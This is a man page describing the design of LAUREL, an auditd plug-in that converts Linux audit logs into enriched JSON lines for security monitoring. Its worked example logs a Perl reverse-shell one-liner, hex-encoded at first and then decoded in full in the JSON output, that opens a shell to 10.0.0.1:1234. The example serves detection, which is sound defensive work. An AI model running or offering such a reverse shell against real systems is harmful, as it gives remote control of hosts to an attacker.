Provided by: laurel_0.6.3-1build1_amd64 bug

NAME

       laurel-about - High-level description of laurel(8) design, rationale, features

DESCRIPTION

   Problem statement
       While  logs  produced  by the Linux Audit subsystem and auditd(8) contain information that
       can be very useful for host-based security monitoring, the log format is  not  well-suited
       for at-scale analysis in a SIEM.

   Format issues
       • All  non-trivial  events are split across multiple lines that have to be joined together
         using a message identifier, but current search-centric log analysis  systems  are  quite
         limited when it comes to join operations.

       • Files and program executions are logged via PATH and EXECVE elements.  The character set
         for strings is a limited subset of ASCII no  escaping  mechanism  exists:  If  a  string
         contains bytes that have special meaning in the format (even space or quote characters),
         the entire string is hex-encoded.

       • Argument lists are  preserved  in  EXECVE  records,  but  with  an  a0="...",  a1="...",
         a2="...", a3="..." naming scheme, they are not easily accessible.

       • Long command lines may be spread across multiple EXECVE event lines.

       • For  numeric values, there is no clear distinction whether they should be interpreted as
         decimal, octal, or hexadecimal values.

   Missing context
       Most audit events are based on either system calls or file  operations.   Whether  or  not
       some  suspicious  actions  should be considered harmful, largely depends on the context in
       which it takes place.  For example, one would not expect  most  web  applications  to  use
       netcat  to  connect  to hosts on the Internet, but an administrator who is logged and over
       SSH who uses netcat to debug network issues should raise fewer suspicions.  Unfortunately,
       the only context that can be added for Linux audit events “keys” using the -k parameter of
       auditctl(8).

   Example
       Spawning a simple Perl reverse-shell one-liner creates  the  following  7-line  audit  log
       entry that nicely demonstrates some of these shortcomings:

              type=SYSCALL msg=audit(1626611363.720:348501): arch=c000003e syscall=59 success=yes exit=0 a0=55c094deb5c0 a1=55c094dea770 a2=55c094dbf1b0 a3=fffffffffffff286 items=3 ppid=722076 pid=724395 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts3 ses=3 comm="perl" exe="/usr/bin/perl" subj==unconfined key=(null)ARCH=x86_64 SYSCALL=execve AUID="user" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root"
              type=EXECVE msg=audit(1626611363.720:348501): argc=3 a0="perl" a1="-e" a2=75736520536F636B65743B24693D2231302E302E302E31223B24703D313233343B736F636B657428532C50465F494E45542C534F434B5F53545245414D2C67657470726F746F62796E616D6528227463702229293B696628636F6E6E65637428532C736F636B616464725F696E2824702C696E65745F61746F6E282469292929297B6F70656E28535444494E2C223E265322293B6F70656E285354444F55542C223E265322293B6F70656E285354444552522C223E265322293B6578656328222F62696E2F7368202D6922293B7D3B
              type=CWD msg=audit(1626611363.720:348501): cwd="/root"
              type=PATH msg=audit(1626611363.720:348501): item=0 name="/usr/bin/perl" inode=401923 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root"
              type=PATH msg=audit(1626611363.720:348501): item=1 name="/usr/bin/perl" inode=401923 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root"
              type=PATH msg=audit(1626611363.720:348501): item=2 name="/lib64/ld-linux-x86-64.so.2" inode=404797 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root"
              type=PROCTITLE msg=audit(1626611363.720:348501): proctitle=7065726C002D650075736520536F636B65743B24693D2231302E302E302E31223B24703D313233343B736F636B657428532C50465F494E45542C534F434B5F53545245414D2C67657470726F746F62796E616D6528227463702229293B696628636F6E6E65637428532C736F636B616464725F696E2824702C696E65745F6174

   Solution
       In  addition  to (or instead of) writing log files, auditd(8) can pass log lines to one or
       multiple plug-ins for further processing, see auditd-plugins(5).  laurel(8) is intended to
       be  run  as such a plug-in.  It reads the audit logs from standard input, parses them, and
       writes a modified form of the audit log to a different log file.

   Output format
       Log records carrying the same event ID (the msg=audit(TIME:SEQUENCE): part) are  collected
       into  coherent  events  and  output  as  a  JSONlines-based log format.  Most importantly,
       hex-encoded    strings    are    output    as    regular    JSON     strings.      RfC8259
       ⟨https://datatracker.ietf.org/doc/html/rfc8259⟩ mandates   that  “text  exchanged  between
       systems that are not part of a closed ecosystem MUST be encoded  using  UTF-8”,  therefore
       any  bytes  or byte sequences that are not valid UTF-8 are percent-encoded as described in
       RfC3986 ⟨https://datatracker.ietf.org/doc/html/rfc3986⟩.  Numbers are parsed  as  decimal,
       octal,  or hexadecimal values and output in an unambiguous format.  List data (SYSCALL.{a0
       ... a3} and EXECVE.a*) are turned into JSON arrays.  PROCTITLE.proctitle is split at  NULL
       bytes and transformed into a list.

   Structure
       Every  audit log line produced by LAUREL is one single JSON object consisting of key/value
       pairs that contains at least an ID field.

       • SYSCALL, EXECVE, CWD, PROCTITLE fields point to single JSON objects.

       • PATH, SOCKADDR fields point to lists of JSON objects.

       Every other kernel-produced audit message not mentioned above results in field pointing to
       a  list  of JSON objects.  Details may change after the list of kernel audit message types
       has been reviewed.

   Encoding of invalid UTF-8 strings and binary data
       • Most byte values that represent printable ASCII characters are reproduced as-is (but are
         subject to JSON string escaping rules).

       • Bytes  that  map  to  non-printable  ASCII  characters (less than 32/0x20; 127/0x7f) are
         percent-encoded.

       • Byte values that map to % (37/0x25) and + (42/0x2b) are percent-encoded.

       • Byte values outside of the ASCII range (greater than 127/0x7f) are reproduced  as-is  if
         they are part of a valid UTF-8 sequence.  Otherwise, they are percent-encoded.

       Handling of special Unicode characters may change in the future.

   Translation / Enrichment
       If  auditd(8)  has  been  configured  with log_format=ENRICHED, it translates some numeric
       values in the original  audit  data  to  strings.   Per  convention,  it  adds  translated
       information using all-caps versions of the keys.  For example,

              arch=c000003e syscall=59 uid=0

       get translated to

              ARCH=x86_64 SYSCALL=execve UID="root"

       by  auditd(8).   All  information  that  is added to records by laurel(8) follows the same
       convention, i.e. keys are turned into all-caps.  While laurel can be configured to perform
       the   same  translations  as  auditd(8),  it  can  perform  other  enrichments,  including
       interpreted scripts, collecting specific environment variables, or  container  information
       for processes that are run within container environments.

   Adding Context: Process Relationships, Labels
       While processing audit records laurel(8) tracks processes and remembers comm, exe, and the
       event ID associated with the latest execve event of a process.  Processes that are tracked
       can  be  assigned  labels  through  various  mechanisms and those labels can optionally be
       propagated to child processes.

       Mechanisms by which labels can be assigned include: - using the key from  an  audit  event
       (the  -k  option  of  auditctl(8))  -  regular  expression  applied to the executable path
       (SYSCALL.exe field) - regular expression applied to the script path (SYSCALL.SCRIPT field,
       enriched)

       The  process  tracking  information  can  be used to enrich fields containing process ids,
       including SYSCALL.{pid, ppid} and OBJ_PID.opid  associated  with  ptrace  attach  or  kill
       syscalls.

   Volume reduction: Filtering out events
       To  reduce  the  high  volume  of events, it is possible to filter out events by key or by
       process label.  Events that are filtered are still used for process tracking.

   Example
       The log lines from the Perl reverse shell execution above are processed by laurel(8)  into
       the following JSON log line:

              {"ID":"1626611363.720:348501","SYSCALL":{"arch":"0xc000003e","syscall":59,"success":"yes","exit":0,"a0":"0x55c094deb5c0","a1":"0x55c094dea770","a2":"0x55c094dbf1b0","a3":"0xfffffffffffff286","items":3,"ppid":722076,"pid":724395,"auid":1000,"uid":0,"gid":0,"euid":0,"suid":0,"fsuid":0,"egid":0,"sgid":0,"fsgid":0,"tty":"pts3","ses":3,"comm":"perl","exe":"/usr/bin/perl","subj":"=unconfined","key":null,"ARCH":"x86_64","SYSCALL":"execve","AUID":"user","UID":"root","GID":"root","EUID":"root","SUID":"root","FSUID":"root","EGID":"root","SGID":"root","FSGID":"root","PPID":{"EVENT_ID":"1626611323.973:348120","exe":"/bin/bash","comm":"bash","ppid":3190631}},"EXECVE":{"argc":3,"ARGV":["perl","-e","use Socket;$i=\"10.0.0.1\";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};"]},"CWD":{"cwd":"/root"},"PATH":[{"item":0,"name":"/usr/bin/perl","inode":401923,"dev":"fd:01","mode":"0o100755","ouid":0,"ogid":0,"rdev":"00:00","nametype":"NORMAL","cap_fp":"0x0","cap_fi":"0x0","cap_fe":0,"cap_fver":"0x0","cap_frootid":"0","OUID":"root","OGID":"root"},{"item":1,"name":"/usr/bin/perl","inode":401923,"dev":"fd:01","mode":"0o100755","ouid":0,"ogid":0,"rdev":"00:00","nametype":"NORMAL","cap_fp":"0x0","cap_fi":"0x0","cap_fe":0,"cap_fver":"0x0","cap_frootid":"0","OUID":"root","OGID":"root"},{"item":2,"name":"/lib64/ld-linux-x86-64.so.2","inode":404797,"dev":"fd:01","mode":"0o100755","ouid":0,"ogid":0,"rdev":"00:00","nametype":"NORMAL","cap_fp":"0x0","cap_fi":"0x0","cap_fe":0,"cap_fver":"0x0","cap_frootid":"0","OUID":"root","OGID":"root"}],"PROCTITLE":{"ARGV":["perl","-e","use Socket;$i=\"10.0.0.1\";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_at"]}}

   Audit rule set advice
       For  process  tracking  to  work  properly,  the  kernel  should  be configured to log all
       execve-like calls and all fork-like for processes that are expected to  ose  fork  without
       execve, e.g. shells:

              -a exit,always -F arch=b32 -S execve,execveat -F success=1
              -a exit,always -F arch=b64 -S execve,execveat -F success=1

              -a exit,always -F arch=b32 -S fork,vfork,clone,clone3 -F success=1 -F exe=/bin/sh
              -a exit,always -F arch=b64 -S fork,vfork,clone,clone3 -F success=1 -F exe=/bin/sh
              -a exit,always -F arch=b32 -S fork,vfork,clone,clone3 -F success=1 -F exe=/bin/bash
              -a exit,always -F arch=b64 -S fork,vfork,clone,clone3 -F success=1 -F exe=/bin/bash
              # ...

       If  the fork calls are not needed in the log file, they can be filtered out by assigning a
       key to those rules in the audit ruleset and adding this key to filter.filter-keys.

       Note that older versions of auditd may not understand all the syscalls.  In  those  cases,
       it may be necessary to substitute the syscall numbers for the ruleset.

SEE ALSO

       laurel(8), auditd(8), audit.rules(7)

AUTHORS

       • Hilko Bengen <⟨bengen@hilluzination.de⟩>

       • Sergej Schmidt <⟨sergej@msgpeek.net⟩>